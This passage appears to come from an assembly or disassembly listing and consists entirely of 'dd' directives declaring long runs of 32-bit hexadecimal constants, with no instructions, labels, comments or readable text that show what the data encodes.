		dd 641218B6h, 4D0329D7h, 0F050DA56h, 2F5D3Ah, 0B64C937Fh
		dd 58E9159Ah, 0C8BD3D00h, 0D12AC726h, 0E56F1C57h, 37A28162h
		dd 0DC9DEAC3h, 9B7C0C63h, 0C84D8D07h, 0FEC097D1h, 549E2Ch
		dd 0F3B7F5E7h, 0D719C71Fh, 0DD50BB00h, 9194F4F8h, 0EC74B5h
		dd 80C20510h, 0D80937DEh, 0D900E5F6h, 7AC4D5Eh,	7918D6A2h
		dd 0BF8A01EDh, 284FEF11h, 7A60F285h, 0A00AFB1h,	0DFBDA643h
		dd 18B1C62h, 0BF1E953h,	0F05A31A7h, 56010C86h, 0DA4B2CE3h
		dd 1E8C58B5h, 0E12AEA05h, 46AF8500h, 47323EC1h,	228D0173h
		dd 0E71F968h, 24C440D9h, 7600BBCAh, 0AD1D6901h,	0BE875E1h
		dd 0B2D5478Ch, 2610B280h, 6F007706h, 89CDF053h,	30AE7Ch
		dd 0A2145C09h, 0C0495091h, 0B9D08F00h, 0D6183E12h, 0B0BE0441h
		dd 0C0E7366Ah, 7B268CDAh, 0FC0015FEh, 538DAEFEh, 0AC51AAh
		dd 0C9A9562Ah, 0E49D83EDh, 0D9C58700h, 8838EE8Eh, 0AEB70E1Dh
		dd 0F92761F0h, 0A95D108Ch, 693F788Fh, 88FE80C6h, 0D5B3C2B5h
		dd 73E09B6h, 3020332Fh,	2C44A918h, 8101103h, 0D0DF0AF7h
		dd 0F6B6D41Eh, 7998000Fh, 0CA99F22h, 81006234h,	511315CAh
		dd 0FA3E9B4Bh, 6B050784h, 70E0F71Bh, 0A30EBEFFh, 68283F00h
		dd 0D315FD55h, 73980EA2h, 83C0CC41h, 7EC6393Eh,	0D97D3Fh
		dd 91BB866Eh, 798F9D22h, 526C00A2h, 29898CE2h, 86002FD6h
		dd 4D7C761Ch, 0F625E61Dh, 0A18800DDh, 558397F6h, 460034DEh
		dd 0F13D8641h, 79FACA5h, 378BFBBCh, 913FA033h, 264CA4ECh
		dd 6CF2146Ah, 0B6C400EAh, 9F1DDB29h, 8F4E3A54h,	1B239200h
		dd 70338D5Eh, 0C279C60Eh, 0F0807C6Bh, 0B2A2F7FDh, 1DBD006Dh
		dd 3696F695h, 16000559h, 329AEE33h, 74106F0Eh, 0B04F5086h
		dd 0F0D700FAh, 1A380993h, 0AFC3CD9h, 51755F1Ch,	117D9DC0h
		dd 33720C54h, 39CC2D09h, 73E300B7h, 0DC00B2C0h,	16433A2Ch
		dd 3B9EEEA4h, 0EF0FC8C6h, 0B8604FA2h, 6CF6F24h,	8A774D17h
		dd 9A548B00h, 0FA239Bh,	0B1AB2045h, 0D3240D6Ah,	90C6100h
		dd 0B350D51Ch, 62781Eh,	752879E9h, 8AF9B833h, 0A58B2A1Dh
		dd 0C97821C2h, 5AF4E0A6h, 0E4BEB0F6h, 4BAB0032h, 0AE1CAAFCh
		dd 4000EBF5h, 6E57B636h, 6D0973h, 0B9015D88h, 6149320Bh
		dd 9AE0E6F6h, 5085E303h, 0C8872168h, 720B90Eh, 79F8CEC9h
		dd 0AA64605Bh, 8900444Bh, 930C8032h, 7A768523h,	0FA500E8h
		dd 8E372CAh, 0A7139D96h, 980077F6h, 81394D02h, 334B3B8Eh
		dd 93A92280h, 0B61C7332h, 42D85100h, 0B8F77C2Eh, 71956030h
		dd 0A8DC2750h, 181C6106h, 0E0B08675h, 12D33F73h, 1771D081h
		dd 0C1097E57h, 0B0E0EA6Ch, 0ED00C67Dh, 0F8B9B4B2h, 2CF8FBCh
		dd 0F0919AEAh, 1A60F4D4h, 4D010978h, 8D462F11h,	0EBCC158Eh
		dd 8AB8009Eh, 0D6C71B38h, 9B0EA4BAh, 6FBBCDB1h,	0B6403D3Ah
		dd 370F6559h, 27271AEh,	0DA7CEE5Eh, 0C480238Ah,	0D91C2A74h
		dd 0F6AE5100h, 9E246E80h, 0E0E700E3h, 0C3F5A129h, 0CE00A82Dh
		dd 0BBB52853h, 24DEC0h,	9273B7F9h, 8EEB2BE3h, 0D4DAF60Fh
		dd 1ABF8439h, 11EF0080h, 0FEF30001h, 4D20C9D1h,	0BAB04971h
		dd 2076C7Ah, 15C3745Ch,	340A8850h, 91BA00CAh, 14EFEB76h
		dd 0B100F0B7h, 1DC33F52h, 7AF9F150h, 0D19A00CBh, 33402D02h
		dd 0BF07AF54h, 0A296204Ch, 2A93AA00h, 6475039Eh, 1F82E055h
		dd 77E38600h, 8170CC2Fh, 0DBC000E8h, 0D46B5E80h, 88006A68h
		dd 0CC994154h, 481385E9h, 620356D3h, 91F48F92h,	190CC8C0h
		dd 0C93B31FCh, 1C4124EAh, 0F4D7E600h, 0BCB7E81h, 4A73752h
		dd 53F55800h, 1A00D047h, 0FDAC8283h, 0CAC87Ah, 0B524D35Ah
		dd 50BF499Eh, 4C63111Eh, 918C0E40h, 3BE0CEF9h, 0F00C127h
		dd 4D43BBF3h, 0D00599EDh, 0C224D22Ch, 0A9ED80FFh, 0AB0029FFh
		dd 0DB668AE6h, 3ADAF4C6h, 3D807C06h, 0AF3AF681h, 0D11F87B9h
		dd 0E7404271h, 2CBC163h, 4EE61D82h, 0A857004Dh,	5A18DE46h
		dd 0CDA18B00h, 17499B8h, 52FA3FCFh, 8DC77E83h, 0FFFCCAh
		dd 0B8308A7Fh, 0E19B311Dh, 2C5109h, 0ABC14120h,	81D100DDh
		dd 20795FEEh, 27005615h, 3A42F74h, 0FC1E92DFh, 0C23B1CBAh
		dd 89D5DDA7h, 0D000DA6Fh, 91246A4h, 82DBAE00h, 0BFDC21BEh
		dd 2DE0F952h, 0AA4E07C5h, 83A728C4h, 3BC0B4FDh,	10C02445h
		dd 4A357D0Dh, 5C50B86Fh, 0D10002A1h, 0F31E4D60h, 0E8006D80h
		dd 0AD8E7ECFh, 35A2B1h,	824CC240h, 90C5D288h, 0A6C1100h
		dd 6AD3F28Fh, 0E4E790E7h, 0B4A23097h, 0A7BE7348h, 4CD12620h
		dd 3B00BC75h, 7D0CDD2Bh, 0EB3BD5A8h, 12138773h,	80002A0Eh
		dd 9D6BBAh, 454DB643h, 0CB8975A3h, 0DC00B071h, 32E2EF64h
		dd 447324h, 7683927Dh, 55EE3EFEh, 6829AC00h, 59C7251Dh
		dd 26E4B7h, 0F67AA8EAh,	0F8BE2C01h, 0CD707407h,	72439A99h
		dd 0D4200027h, 4BA65791h, 8B26DA87h, 0F3E504Fh,	0AEE1DD5Ah
		dd 0C5B5038Ah, 0C29F8054h, 0FBED002Dh, 0A1F047BAh, 9E1FFA21h
		dd 761ECAE1h, 14D7BD40h, 600882BBh, 17026025h, 3B09B00Bh
		dd 9EFC81Fh, 70B7806Ah,	0F54DE4h, 62C01ACBh, 81D247BDh
		dd 3F3E3600h, 0B8EE12DBh, 3CB307A9h, 0E14EA180h, 805BCAE0h
		dd 0D78C41D9h, 0E89D5574h, 83AF00BAh, 1DF5CAC4h, 29037268h
		dd 0F71AD82Dh, 0B838006Ah, 3FDA4AE2h, 140034ACh, 0CAB9D53h
		dd 39EF3E69h, 0E61D1F60h, 0D2C2C0E1h, 5BDC738Ch, 0FCB6ED00h
		dd 6A5F5DD9h, 90180023h, 0B9043040h, 810E280Dh,	60E2DB60h
		dd 0BE8FD9BFh, 0FA5900E9h, 2CD7016Bh, 0FF3A934Ah, 0BE70E2Bh
		dd 0DA35C071h, 715D033h, 9C64B48Eh, 0F274A1F7h,	0D0C4C14Bh
		dd 1600A759h, 29A8B9C3h, 7169D431h, 236826D8h, 0C07E0778h
		dd 0AAFF4090h, 0DC006A08h, 7AE22ECDh, 7A131A39h, 234E0011h
		dd 905DED8Eh, 0CAE8FC7Eh, 0A508FD00h, 0F1EC8C60h, 18E400E2h
		dd 19922150h, 317B0FAFh, 146C7C00h, 99C2021Bh, 63BC1ED2h
		dd 82CB4033h, 19DB960Bh, 7420F800h, 56C74D51h, 14D60E36h
		dd 0DF806375h, 25285024h, 0DAED9600h, 0DB12E41Dh, 4AFC9Ah
		dd 19C8776Ah, 0DE95C116h, 22A4AA00h, 0B8FF348Fh, 75420055h
		dd 0F6DC4F7Fh, 40C0E006h, 9FEB7C31h, 403A0052h,	9AE456CDh
		dd 9004ECEh, 2CC96327h,	19D2FEh, 1C4131F6h, 5F2985A3h
		dd 3C1F7B00h, 4BB4D45Bh, 0B66E009Eh, 8583617Dh,	74009DE2h
		dd 26EEF236h, 3240A2h, 710CB9A6h, 0DD32848h, 2D335701h
		dd 149ABFB5h, 52A6D4h, 1BDCC8E1h, 302996CAh, 0A3FDD500h
		dd 23AA8C98h, 2E3C0065h, 385142F2h, 760EDA7Ah, 0E0D693D3h
		dd 0E51BE485h, 0BCB73B5Eh, 0D539CB06h, 0F000D0C8h, 0AD242EF1h
		dd 37D122h, 432602B2h, 0B74E301h, 80CA7800h, 0CD28FBC3h
		dd 38D903FDh, 0B2DE0D62h, 0D575D8B1h, 8953CC32h, 0EC06B400h
		dd 2BD51AA1h, 0C07A00CFh
		dd 3749D6B9h, 0E600E104h, 728099FCh, 0BC303Dh, 9740D1B7h
		dd 36912131h, 1BC96400h, 734A8AA7h, 0BD50AD2h, 7020C47Ah
		dd 8621FDAEh, 475C0074h, 3D84A923h, 1E1088C1h, 50809CD6h
		dd 856DB72Dh, 0CBF82EDBh, 3671D00h, 6F43045h, 883F63CDh
		dd 59D8BE8Ah, 3800E34Ah, 708D4C0Ch, 0E875D952h,	4420343h
		dd 9E724BF4h, 0E0610C91h, 606028E9h, 0D7BBFAA0h, 3D700044h
		dd 13A2501Eh, 3503DFFFh, 6588710Dh, 10280011h, 92577E3Ah
		dd 0EA14DDC6h, 6A4DEE2h, 358BC2D4h, 0A2CB0058h,	745D53B0h
		dd 0C10FFC4Dh, 0C74A8029h, 0E0001B02h, 51F6A91Ah, 8A60805Bh
		dd 0E5090CA0h, 777856DFh, 2AC2D915h, 5EC08080h,	8D166046h
		dd 0B1E8E087h, 0F072A6h, 0FC4FA529h, 0C089EB55h, 97167B07h
		dd 0D7522E1Ah, 0E3E54086h, 0F946007Ah, 20D8D98h, 45F85B9Eh
		dd 0C031C900h, 0E3D5D942h, 26F90575h, 82D7EA3Dh, 81F5D448h
		dd 6A86DCB2h, 60DEB042h, 14A943DAh, 20463832h, 33B17EA0h
		dd 30506E42h, 0CB270F0Dh, 91E2DED9h, 11409390h,	3D00B369h
		dd 0AE120463h, 2DF988Fh, 669B37E6h, 0A2605A13h,	5004688h
		dd 6D202CE1h, 0CAFF9Eh,	0F4F351E8h, 319895B5h, 4360A100h
		dd 0A79B2363h, 0C030DE73h, 8B56ADF3h, 0B0032AA6h, 7853E95Dh
		dd 364BD8D5h, 38EA16E8h, 0FB0E00FDh, 7E841109h,	54911400h
		dd 0A6E5610Ah, 89C701CEh, 87E60263h, 0B8260E2h,	2A00A5FCh
		dd 0DE8E7C70h, 0EC3CE8CEh, 16B900F6h, 845B0C89h, 860256C2h
		dd 0DF69F0F5h, 61544017h, 9A740070h, 8AE514Ah, 0E000289h
		dd 0B00F3039h, 3995A658h, 6FBE1DEBh, 803F9A00h,	0FC1EF29Bh
		dd 74DB4A06h, 3B4839A0h, 0E000F78Fh, 6331DC15h,	3E005EF8h
		dd 0B598DB9Fh, 3725F9Ch, 1D841C8Bh, 0B08961A0h,	0F7842018h
		dd 0F3D1A500h, 6B820672h, 323C00AAh, 98140CD9h,	9B00C7ADh
		dd 5E205ABBh, 0CADB54h,	58720393h, 0D395B9BFh, 485FAD07h
		dd 4B21117Dh, 46203F88h, 0DDBE122Eh, 836F015Bh,	0C0ECCB34h
		dd 6D006BD0h, 0ADA2353Ah, 0E445FFh, 1D743789h, 0F5BCFD9h
		dd 26170800h, 66EDADBFh, 0C8840CFBh, 525005D5h,	9038838h
		dd 80CFD8A4h, 0ED846636h, 0B6FB0032h, 35CE92BFh, 20005BE8h
		dd 296FDA8Dh, 143B3Dh, 9B59051h, 16CDB763h, 8DF37302h
		dd 0C006A1DDh, 1B30A35Bh, 0EB85BCEh, 9F244000h,	0D97B4EB5h
		dd 0B19003EBh, 75CA86CFh, 0BE2044A0h, 509FFE00h, 0B8F4DDBDh
		dd 0A790007Ah, 3DB189E7h, 34003B13h, 7C57D777h,	0D8035CCh
		dd 8C0F989Ah, 1182FC60h, 0BB382D03h, 0D897B495h, 1CF3DC86h
		dd 41192335h, 79E733DFh, 0DDFFF0E3h, 9854F7E2h,	367E0184h
		dd 1DA53300h, 0E663FC81h, 0E5F80095h, 87288ABDh, 0AA4AEBB0h
		dd 0A4DDC880h, 0C85A002Dh, 97239AA9h, 4A00B365h, 0BF10F46Dh
		dd 0B8CB0Ah, 4B94E6D8h,	729B1EA1h, 0B0849754h, 0BA1B0B02h
		dd 0C0053C0Ah, 1CDAB5BFh, 0E891625Ch, 73120084h, 0BBE3E97Dh
		dd 0BC503969h, 60E659Ah, 0C0D702BDh, 35588E7Eh,	0F32C38B7h
		dd 981D7218h, 8102E127h, 3F795716h, 0AD8AE0A0h,	0A811716Fh
		dd 3D55E694h, 26029B59h, 0A73E5D81h, 2E904543h,	3500ADCAh
		dd 23C2BB04h, 2C9795h, 81F61ED6h, 0FCC81B40h, 703E9800h
		dd 339ACAA0h, 85AE000Eh, 2F926EABh, 0C600EAE3h,	3BEB7529h
		dd 6194069h, 566BD4D5h,	4C2B18B1h, 0F604C6h, 58A0ADDEh
		dd 744799AAh, 68013E00h, 0B1777053h, 0B89539D5h, 0C64F1Fh
		dd 2AD26086h, 0F2F65540h, 43574E1Ch, 3D463E82h,	2934B428h
		dd 584C283Bh, 183E8438h, 72D500A9h, 0E95CAC46h,	0EA660043h
		dd 590A6B16h, 0B2805BBh, 0D6080C99h, 25B0218h, 95DA46D1h
		dd 8159A202h, 0E7ABB118h, 3E189A12h, 19E8620Ch,	188058EEh
		dd 9481A8FCh, 61735280h, 0EB4E190Bh, 4C461082h,	7449CA01h
		dd 0C4A9530h, 54529114h, 2450F63Ch, 0DE0CA98Dh,	0A0AA4852h
		dd 0B088224h, 130A8F59h, 283F18A5h, 78112417h, 0A87DE6EEh
		dd 0A19F5D48h, 0C517E18h, 30419B14h, 0DD0824BAh, 0E0C9650h
		dd 26141B42h, 0F284B447h, 1999004Ch, 0F73738D8h, 40714F01h
		dd 3991FC0Ch, 0C08F7388h, 0F8049F48h, 324CF01h,	0A380001Dh
		dd 0C21845F0h, 577E9Ch,	0E965E7E2h, 26FF40ECh, 94470800h
		dd 2F41E169h, 6C6A0110h, 0BB758346h, 6224204Ah,	218CBF0Ch
		dd 1445A07Fh, 8C1A3C4Ch, 184AD62Ch, 0D3E31849h,	21C2EE00h
		dd 0E6673FB4h, 0F16B0A80h, 3501DADh, 19CD3796h,	68CBF680h
		dd 0ABAF4C00h, 827E001h, 90121E20h, 0DC554140h,	0D25BBE7Eh
		dd 0F083B6E2h, 94AC4B9Ah, 111C7C8Ch, 5148D38h, 6722B624h
		dd 4FABE440h, 6DD8BFAh,	9269B056h, 9C07508Dh, 0F2A2A47Bh
		dd 1565AB90h, 96080009h, 5CE32DFCh, 0AF01B157h,	0A4195378h
		dd 64854FC2h, 0F442F15h, 0BF0154C8h, 20CFFA69h,	7601AABCh
		dd 6373088Ah, 14411C5Eh, 0A2CC7F26h, 0AC112850h, 53F90534h
		dd 0EF1C33E6h, 0C88F8CC3h, 507DE5EEh, 3DD0C071h, 6700816Dh
		dd 7AEBB44Ch, 0F3001BE6h, 80E41607h, 3A52FA83h,	0A08CA68Eh
		dd 77B89A54h, 7E007048h, 499CA100h, 0E7E7527h, 0CCE600C1h
		dd 345462FEh, 8130E5C3h, 1B3B684Fh, 0CDCA01B8h,	7526E3D1h
		dd 0C71C3016h, 0D17B8330h, 0A855FD5h, 13CFAC6Bh, 44FDE040h
		dd 9C00F099h, 0FF5798E1h, 54B4CCh, 1A7A69DDh, 8784DA32h
		dd 701BE300h, 7CF2B9A2h, 764E069Ch, 0A8455A73h,	0E756C41Eh
		dd 20844C1Eh, 0F0C065B9h, 186BD8E5h, 18FFE1B0h,	847C3F15h
		dd 0F2B62B00h, 0C9F7DBD0h, 4E3E0BA3h, 0C10E1C6h, 47F8F92Bh
		dd 168A548h, 7B05F479h,	0EAD0BF6Dh, 0E194A8ABh,	8468D1C2h
		dd 76C3A281h, 805ED58Dh, 81044C98h, 97FD207h, 2D6DAC24h
		dd 0F036B427h, 0F3BDFAA3h, 66689E62h, 277C4415h, 0DBFE35BBh
		dd 6F009516h, 52CC800Ch, 0EB904C8h, 8194848Eh, 51CBCA48h
		dd 20878388h, 0DF01C948h, 3EBFFC28h, 0F092206Dh, 40521BE5h
		dd 8AEC60E7h, 13021587h, 0AC7D9E71h, 8B544027h,	1E4C9060h
		dd 3E0C452Ah, 4F55E001h, 87CA1850h, 3AF4738Eh, 0B543863Eh
		dd 9E7E0078h, 5232235Bh, 5700642Ah, 5F5AE1B2h, 5268AFA1h
		dd 1B18D8AAh, 0ABEEA074h, 70934D26h, 0F50308A4h, 0E8959BDEh
		dd 12C97DE1h, 0F14FBD5h, 0BA8F8F74h, 9400712Bh,	0B1559F21h
		dd 801B7901h, 9CA2EBDCh, 0B8EDDF40h, 0E0AF029Ah, 1617322Ch
		dd 30305362h, 2842CA1Fh, 1E865785h, 100384E8h, 0C5A40156h
		dd 70836689h, 30D0DDDCh, 0D600307Dh, 878C1BF2h,	7F055F02h
		dd 373E24B9h, 0E72088h,	1FE5ED15h, 5AD8AACDh, 2645ECE9h
		dd 0C571D4h, 0C5F122DEh, 59DD7E6h, 0A5DA05A4h, 23C09024h
		dd 0B9300BDCh, 426D504Ah, 68F90144h, 0A23E92EEh, 335ED5F7h
		dd 96D61C24h, 4D3D0940h, 407024h, 0CD55E3C1h, 0FC300ED3h
		dd 99E2B003h, 98CE59A5h, 136D5014h, 383E8D83h, 517D2A8Ch
		dd 0E8EB3689h, 4991E2BDh, 41C0504Fh, 0FB6D5867h, 585D7926h
		dd 0C3B7F860h, 0A79B1ED8h, 0A0FCC082h, 2B9EBB67h, 574DB302h
		dd 484BE03Dh, 0E038CFC4h, 623900C4h, 0CEFA9379h, 9F05F6BCh
		dd 706DC2C0h, 3CC8488Dh, 505500A0h, 18D74652h, 4B8DE0Bh
		dd 0FDB41F1Bh, 0AED00650h, 0B04E3F87h, 6472D681h, 0ED2C5124h
		dd 0F6876045h, 711090FAh, 5DAB19h, 8D86D49Ch, 566D9A95h
		dd 1C43D800h, 4A2F5928h, 2F6007Fh, 9AA20F85h, 0F400E165h
		dd 0E448557Ch, 0EE357484h
		dd 46B6063Ch, 304BE701h, 58899A7Dh, 596230h, 4EE85D8Dh
		dd 922EFC22h, 185A58D4h, 32280629h, 3F0EFCB1h, 6CB9B516h
		dd 8FCC7100h, 0F12B85F2h, 41B2D4E1h, 0D0FB5E1Fh, 0BDF34031h
		dd 9A9D98F7h, 3D807825h, 74B4F215h, 0CD080461h,	26B8308Fh
		dd 2FA0046h, 49AAB7B0h,	0E1E8BF07h, 0D9A29065h,	1F4A15C1h
		dd 722A43C4h, 0F827905h, 0A8A241C5h, 8D664BA0h,	0CE00379Ah
		dd 890FA77Fh, 0D1CB7179h, 28000469h, 8A20C112h,	0C27C493Ch
		dd 0E5504005h, 0A0004D94h, 5D1468FEh, 0BF2001C7h, 2130A964h
		dd 70C082B2h, 81EF72BBh, 6C829A8Ch, 0C94530h, 0F219DF60h
		dd 0C1489B88h, 13FEAE00h, 0FBFDAD5Fh, 43D903A0h, 0C6C34EFAh
		dd 46F98801h, 9E2D048Ah, 7620C850h, 405D07AAh, 0D8A066C0h
		dd 20F9C68Fh, 261C5ACDh, 338EF4E0h, 0E23831C8h,	0C180C5D8h
		dd 86CB7D00h, 6855BC37h, 1DD3304Dh, 49831251h, 82012BB0h
		dd 0C278F99Bh, 0C0D7535Eh, 0A968F47h, 0FEF64AA7h, 30D214B6h
		dd 0B1CA9D86h, 48A02EFEh, 171F9C37h, 2A8EC746h,	20FCA948h
		dd 78E31E2Ch, 42D41838h, 0E943898h, 0A0BADD37h,	80275285h
		dd 8A111850h, 43F0005Dh, 3E41CD5Fh, 821F40C9h, 9109A98Ch
		dd 0CB5C0007h, 0A358B0h, 0B2EA7AD3h, 0AE8462E6h, 4D923100h
		dd 24DB2C43h, 60740952h, 2C8A7E07h, 202B003Ch, 0D2AE9890h
		dd 46B55A00h, 0FFC139E4h, 28358091h, 81ADAA02h,	8018AF83h
		dd 7A5DA4C3h, 714C1EF6h, 0CE664194h, 0F0A5D1E3h, 3F070CE9h
		dd 0D8916180h, 341F9CC5h, 0AEC49000h, 44023DB2h, 2F40A248h
		dd 798800D9h, 3523C79Fh, 0C8C0DB70h, 5F3D602Ah,	94274990h
		dd 6E159A4Ch, 8600B456h, 8DEB2481h, 0E5004127h,	0D0237267h
		dd 7394CBF7h, 0A4CF50A7h, 87201E1Fh, 0BAE34073h, 6621C48Dh
		dd 0AADA9512h, 3FB6FC00h, 0F3DEDC5h, 21E7BB2h, 0AFE848CCh
		dd 0CB546071h, 9075EF64h, 54997C14h, 80FBC898h,	0CD900F24h
		dd 0E006C42h, 0B0FAFE19h, 39F539DFh, 0D61B6BA4h, 681259AAh
		dd 6840E545h, 970426C7h, 0F9BE28BBh, 71520E96h,	0E6437C15h
		dd 6D0633Dh, 0B3F41D45h, 368D9300h, 0A426E82Eh,	949028h
		dd 669D434Fh, 0EA0A808h, 272ABF00h, 0DF89F7Fh, 874D00ADh
		dd 934A891Ch, 0D80143E9h, 0B0B384F3h, 9DE51660h, 1F42FCCh
		dd 0F59A25EBh, 0CC280CE0h, 75059BB8h, 0B657973Eh, 3107D480h
		dd 9308006Bh, 0DD44F480h, 0B205F6E4h, 0B19ECF12h, 86FA0440h
		dd 0D1F3A742h, 0A1BD0C20h, 93E03009h, 3C4EC019h, 0A9F558Bh
		dd 14C70017h, 789C8998h, 19460830h, 890FF53Ah, 11940079h
		dd 9EE50185h, 0AAA104B0h, 106EE538h, 4015EEADh,	0D103106h
		dd 50788196h, 22FC189Dh, 9545E33h, 0C6220824h, 183D546Dh
		dd 0CC151A7h, 256E18F6h, 0F35924A0h, 502DB144h,	0A9CD0C34h
		dd 0C502C18h, 88B30D41h, 20842FBBh, 4503FB95h, 0B60EAE31h
		dd 868BB8BFh, 856EEFEh,	3D240CEBh, 1DDB803Eh, 0DE327EF9h
		dd 0C60A5C9Eh, 3D19C000h, 4CFE9A07h, 1AC95A01h,	22B33F54h
		dd 80483980h, 13104A78h, 0AD4B6600h, 0B7BBF184h, 93C10755h
		dd 0C0736156h, 0BAAB99C9h, 9E506477h, 6D0065C5h, 0FA03F6B9h
		dd 6A230h, 29F13E2h, 8EBF3949h,	2F7EBE01h, 1FC23583h, 0A49D26D0h
		dd 73D43A4Ch, 5E881030h, 0C3586431h, 394A0E6Fh,	0B434C5h
		dd 269FFD13h, 2CBC91h, 0DE25D21Ch, 20648C56h, 5F338B00h
		dd 0D4E6874Ch, 2F702Bh,	8845694Eh, 0A9C9BA86h, 81C8256h
		dd 70342EEEh, 4500F4FBh, 83F5B140h, 5047A77Dh, 1530C1EDh
		dd 0C0BAA120h, 2315B9F0h, 84F2DE00h, 0ED220709h, 6045FACDh
		dd 4E432919h, 0AF006968h, 5F21BEFh, 78F3B1h, 7B81C632h
		dd 9FC8469Eh, 5C36EB29h, 0D6EAD580h, 7AA60Ch, 4BD9594Ah
		dd 4D64AE0Bh, 893D6F03h, 0B849CA16h, 7FC2F3BEh,	5D1B0713h
		dd 0A0063A08h, 1879EA38h, 0E4AD88C0h, 0D5EC0E81h, 840010D2h
		dd 4AB7777Dh, 254028BEh, 0DA091029h, 7060AB9h, 0F20588CBh
		dd 583A3A78h, 0DD29FA08h, 804C87D4h, 0D21A5C1Bh, 20EC27C3h
		dd 0E1D7E900h, 54182E29h, 99C0000Eh, 0EFA1F006h, 25FA2266h
		dd 3C48C2F7h, 0E10215B3h, 0FBCF3C1Ah, 99CC8006h, 380BD979h
		dd 0AD9F19A6h, 0D78E804Ah, 0B3268429h, 3165CE09h, 3741034h
		dd 8240873Dh, 5FBAD1h, 58E8433Fh, 0CAE4C964h, 782C7FEEh
		dd 60806202h, 6112B3AEh, 40C01B1Dh, 8AE04154h, 3C0CFE14h
		dd 3076B4B9h, 0E08E5C86h, 0E8087D0Ah, 0ACC41480h, 0CDB100AFh
		dd 86FE1730h, 0B5F909F3h, 9416311Dh, 0A2966C12h, 0E331D470h
		dd 4466578Eh, 503682F7h, 0D7AAE480h, 0B102A16Dh, 1595E20Dh
		dd 0EC344ED1h, 3D57BF7h, 0A270DBFCh, 96016179h,	627BAC9Eh
		dd 0E8233F78h, 0DC34E9A7h, 14436D00h, 8D0FF921h, 0C7660254h
		dd 92164ADCh, 8D098494h, 5E95172h, 0A000AE20h, 21971629h
		dd 81BD0022h, 0C6B42499h, 1901BB0Ah, 51EE2B42h,	9047ECC0h
		dd 0DA413F17h, 0B3EC7796h, 1984A061h, 78AD1D41h, 997440B6h
		dd 20828756h, 270D391Dh, 0D085D68Ah, 89ACB340h,	80404C07h
		dd 0D0F0CF09h, 0DEE26415h, 86C13h, 2F0A857Bh, 1ED257C0h
		dd 396D791Eh, 106B54C0h, 9A27ADFh, 911544B9h, 0C9C00C15h
		dd 2596D88h, 3C82A876h,	448D8CDh, 7900721Ah, 4BAC0B96h
		dd 52AE055Ch, 0A3ACFC40h, 51AD1A00h, 949B99Eh, 0F4C254A8h
		dd 0D9F833h, 11AE998Eh,	785C666Fh, 0AD0280ACh, 87E9F4F5h
		dd 0E128CDACh, 6325BDA1h, 90D1E8h, 0A57FE902h, 98248DEFh
		dd 0CA710774h, 47E5F954h, 6907AFC3h, 229C834Ah,	53C8211Eh
		dd 11217B0Ch, 0CB541B31h, 99C0615Ah, 0A163CA5Bh, 95EB5E51h
		dd 0C87B1C82h, 0C31CFCh, 351666Dh, 8E2F0617h, 0CB70D800h
		dd 0B3535682h, 0EE0CB8CDh, 58734C0Ah, 6828500Bh, 0BFF91C81h
		dd 6062D53Ch, 1C90DA94h, 4C5A4C5h, 14C9C09h, 32D930Ch
		dd 8AAA8440h, 28550026h, 109A10Ch, 94019C15h, 3F3CB92Fh
		dd 24327Fh, 44B30CE1h, 68E96310h, 0E4071C00h, 0DCC1428Ah
		dd 810F00CDh, 9A24F56h,	96785932h, 2950E4A0h, 0B726B40Ah
		dd 4509B0BFh, 4890302Fh, 0CC27518Fh, 0CC385BCCh, 53E61C98h
		dd 98758C00h, 32C1E146h, 6D7F8DCh, 0B81B1570h, 970050B4h
		dd 22F3FAE2h, 3FF28D69h, 8C8F2E8Fh, 0D3E02FFBh,	8A96B067h
		dd 0BA7C1D1Eh, 75A11640h, 18EDD68Fh, 0D04E285Dh, 9B6AD91Eh
		dd 85200020h, 651E3079h, 4D819AE1h, 6BE5E485h, 0F4A0FED7h
		dd 0FC0F0050h, 0B894568Fh, 0F5052E8Dh, 1F0DA145h, 0EB6A9000h
		dd 7514A7Eh, 43F13766h,	6E692726h, 0FE90F280h, 5507D516h
		dd 52CC0673h, 1B8C204Fh, 4FA792h, 850302A6h, 0F9B63CD0h
		dd 28800E24h, 0DAB46080h, 8B8E9Fh, 587B28C7h, 9D9DFF6h
		dd 43EB9100h, 2442779Eh, 0D2A8001Fh, 4876C92Fh,	0AAE696FCh
		dd 88E53000h, 18E8970Ah, 939C00E3h, 8AEDAB03h, 59001F2Bh
		dd 9885CA40h, 4DC4509Eh, 95009096h, 8874C105h, 21006F3Dh
		dd 0E7505804h, 0A163B44h, 116987F8h, 9B4F7004h,	3DB3AA00h
		dd 6C44B788h, 70970055h, 159492BCh, 99024279h, 6787F6DAh
		dd 127D404Bh, 956000A0h, 70B0E0BBh, 90003D79h, 0CDCE8E22h
		dd 0A905B7h, 6A2D96B3h,	451358E3h, 0C0185378h, 8579EC5Dh
		dd 1EE9021Dh, 0C6D983F0h, 0A6FD8040h, 20BAB330h, 913A58h
		dd 0B7F0BC6Ah, 3F42E055h, 4F609BE8h, 0E607F2D8h, 8CED0052h
		dd 8F47A221h
		dd 0DD36B3CCh, 3C70C8D9h, 285050E2h, 40E438E3h,	528DBC08h
		dd 19AAA42h, 0DC7DC3BBh, 0FFE9221h, 0A31AF500h,	2F74E5B9h
		dd 2CCF0D36h, 7AD8CE04h, 549F0B80h, 0C98CA0E9h,	8BF0071h
		dd 93BB2373h, 260C6CB6h, 20DF7ED1h, 0BCC50054h,	62D9D8F2h
		dd 2E01056Eh, 0FE69C26Fh, 0A0DF3D0Dh, 68FCA8h, 0A11CCDCBh
		dd 7DB929D4h, 8F007E79h, 74DBD68Eh, 39E44515h, 0F6809434h
		dd 32C63CF1h, 4C55AF07h, 7036E4E8h, 2271E812h, 9F20EBFh
		dd 40284A9h, 210062E7h,	30C1688Fh, 23185738h, 8B00FDA5h
		dd 0AF27B903h, 17553E7Fh, 34CF686h, 0DB76653Eh,	0A99AD1E8h
		dd 706C061Eh, 4137230Ch, 0C71F0067h, 0EF885BAEh, 6D06CD91h
		dd 8DD6F480h, 0FD950020h, 0BE410BC7h, 420E4506h, 0CE991B70h
		dd 0E9D4F413h, 649F30EAh, 0EF704C00h, 2A6F076Ch, 1E0900AAh
		dd 0C74A8F6Bh, 4C016144h, 0EDBA03CBh, 344B4957h, 304C5C84h
		dd 3A76DF1Ch, 4A802027h, 0EECB6CC6h, 0A500095Eh, 645164Eh
		dd 165E039h, 0A8B41502h, 0FC9E3292h, 0B02C969h,	0EAC723B8h
		dd 0E47041C1h, 0F0994048h, 363D0842h, 9D465540h, 7C62E8E9h
		dd 863800E4h, 75E7E599h, 124CF51h, 0F280E0BFh, 8BB04048h
		dd 0DBCA0094h, 0D87E5F47h, 80DF3B43h, 2A142870h, 0AFA7008Bh
